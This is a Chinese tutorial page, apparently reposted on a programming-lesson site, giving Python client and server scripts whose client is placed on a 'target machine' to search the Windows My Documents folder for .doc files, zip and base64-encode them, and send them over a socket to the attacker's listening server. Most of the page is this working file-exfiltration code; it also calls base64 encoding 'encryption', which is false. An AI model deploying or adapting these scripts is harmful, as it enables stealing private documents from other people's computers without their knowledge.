python怎么传输文件到服务器,python实现获取客户机上指定文件并传输到服务器的方法...

be45eb6c5fd66d11a803e0291ef8bfd0.png

本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:

该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密

2、用zip压缩

3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可

4、本程序设置了获取doc文件,修改extName可以获取其它类型文件

服务器端程序:

复制代码 代码如下:

# -*- coding: cp936 -*-

import socket

import win32com.client

import os

import zipfile

import codecs

import base64

def main():

HOST = '127.0.0.1'

PORT = 2000

BUF_SIZE = 6553500 #6M

key = 'ouyang'

timeout = 5

dicName = "ouyang\\"

ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

ss.bind((HOST,PORT))

ss.listen(5)

print "wating for conntecting..."

while True:

try:

cs,addr = ss.accept()

socket.setdefaulttimeout(timeout)

cs.send("200 Connected!")

#获取加密数据

encode_data = cs.recv(BUF_SIZE)

#把数据写到out.zip文件

tmpfile = open('out.tmp','wb')

try:

tmpfile.write(encode_data)

tmpfile.close()

except IOError,e:

print 'Strange error creating IOError:%s' % e

tmpfile.close()

finally:

tmpfile.close()

#base64 decode 2进制 解密 decode(infile,outfile)

tmpfile = open('out.tmp','rb')

outfile = open('out.zip','wb')

base64.decode(tmpfile,outfile)

tmpfile.close()

outfile.close()

#打开zip文件

zfile = zipfile.ZipFile('out.zip','r')

#创建一个文件夹来存放获取的zip文件

if not os.path.exists(dicName):

os.mkdir(dicName)

for f in zfile.namelist():

data = zfile.read(f)

file = open(dicName+os.path.basename(f),'w+b')

file.write(data)

file.close()

print "finished!!!"

zfile.close()

#后续处理 删除临时文件

os.remove('out.tmp')

cs.close()

except socket.error, e:

print 'Strange error creating socket:%s' % e

cs.close()

ss.close()

except socket.error, e:

print 'Strange error creating socket:%s' % e

ss.close()

if __name__=='__main__':

main()

客户端程序:

复制代码 代码如下:

# -*- coding: cp936 -*-

import socket

import win32com.client

import win32api

import os

import time

import zipfile

import codecs

import base64

def walk_dir(dir,filelist,extName,topdown=True):

for root, dirs, files in os.walk(dir, topdown):

for name in files:

if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

filelist.append(os.path.join(root,name))

for name in dirs:

if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

filelist.append(os.path.join(root,name))

def main():

HOST = '127.0.0.1'

PORT = 2000

BUF_SIZE = 65535

key = 'ouyang'

dicName = "C:\Documents and Settings\Administrator\我的文档"

extName = '.doc'

#遍历搜索我的文档的doc类型

try:

filelist = []

walk_dir(dicName,filelist,extName)

except IOError,e:

print "文件处理错误: " % e

sys.exit(-1)

cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

cs.connect((HOST,PORT))

print cs.recv(BUF_SIZE)

#压缩成zip文件

zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)

for f in filelist:

zfile.write(f)

zfile.close()

#base 2进制 加密 encode(infile,outfile)

infile = open('in.zip','rb')

tmpfile = open('in.tmp','wb')

base64.encode(infile,tmpfile)

infile.close()

tmpfile.close()

#send

tmpfile = open('in.tmp','rb')

cs.send(tmpfile.read())

tmpfile.close()

#后续处理 删除中间文件

os.remove('in.tmp')

cs.close()

except socket.error ,e:

print 'socket 出错啦:' % e

cs.close()

if __name__=='__main__':

main()

希望本文所述对大家的Python程序设计有所帮助。

微信

分享

相关标签:python 获取 客户机 指定文件 传输 服务器 方法

本文原创发布php教程 ,转载请注明出处,感谢您的尊重!

上一篇:python实现简单的计时器功能函数

下一篇:python每隔N秒运行指定函数的方法

相关文章

相关视频

在Django框架中运行Python应用全攻略

在Python的Django框架中创建和使用模版

python获取元素在数组中索引号的方法

浅谈python中截取字符函数strip,lstr...

python实现获取客户机上指定文件并传输到服务器...

JavaScript获取节点类型、节点名称和节点值

JavaScript parentNode:获取父节点

Javascript获取子节点

JavaScript获取鼠标坐标

Javascript获取兄弟节点

网友评论

文明上网理性发言,请遵守 新闻评论服务协议

我要评论

8959c4ba77b5fdc4995ce0df002c3edd.png

立即提交

专题推荐

064df72cb40df78e80e61b7041ee044f.png独孤九贱-php全栈开发教程

全栈 100W+

主讲:Peter-Zhu 轻松幽默、简短易学,非常适合PHP学习入门

7dafe36c040e31d783922649aefe0be1.png玉女心经-web前端开发教程

入门 50W+

主讲:灭绝师太 由浅入深、明快简洁,非常适合前端学习入门

04246fdfe8958426b043c89ded0857f1.png天龙八部-实战开发教程

实战 80W+

主讲:西门大官人 思路清晰、严谨规范,适合有一定web编程基础学习

作者信息

8959c4ba77b5fdc4995ce0df002c3edd.png

php教程

认证0级讲师

最近文章

发布技术文章

最新文章

热门排行

873d256d3941585e855ba2d35e6e2e3b.png

python之禅怎么打出来

python怎么学

boosting和bootstrap区别

python库是什么意思

python卸载后怎么也安装不上

python安装后怎么不见了

python怎么卸载模块

python能做什么?是什么?

873d256d3941585e855ba2d35e6e2e3b.png

pickle库的使用详解

Anaconda的新手使用大全

python爬虫是什么?为什么把python叫做爬虫?

Python微信库:itchat的用法详解

关于python3学习基础知识总结

python爬虫是什么

使用Python可以做什么

python如何实现可视化热力图

推荐视频教程

ac8f83ee679a6c85aa8428b3841e5e50.pngjavascript初级视频教程

jquery 基础视频教程

视频教程分类

php视频教程

html视频教程

css视频教程

JS视频教程